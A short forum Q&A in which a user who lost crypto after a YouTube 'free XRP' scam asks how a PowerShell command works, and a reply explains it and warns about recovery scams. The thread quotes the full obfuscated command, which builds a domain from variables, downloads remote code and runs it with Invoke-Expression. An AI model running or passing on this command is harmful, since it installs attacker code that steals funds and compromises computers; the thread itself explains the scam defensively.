I watched a YouTube video that promised free lunch in the form of XRP if I typed in a certain command in PowerShell. The command I used was: **powershell -command "$Blockchain='XRP'; $NodeType='Validator'; Invoke-RestMethod ($Blockchain + $NodeType + '.' + 'dev') | Invoke-Expression; $Region='Global'; $Network='Mainnet'; $Version='xrp-mainnet-node=3.3.0-5b0a889'"**. Now, I suspect I've been scammed and lost $20,000 in crypto. Can someone explain how this code works and why my computer might be compromised?
1 Answer
Man, that's a tough situation. Basically, that code sets up some variables and then combines them to hit a URL (`xrpvalidator.dev`), downloading whatever it returns and executing it right away in PowerShell without checking what it is. This can easily lead to malware being installed on your system. My advice? Consider a fresh install of Windows because it's likely that malicious stuff is still lurking on your PC. And a heads up: stay away from anyone claiming they can get your funds back for a fee. They're just after your money now.
Exactly! If you're ever in doubt, paste the code into an AI or a tool that can help explain it before you run it.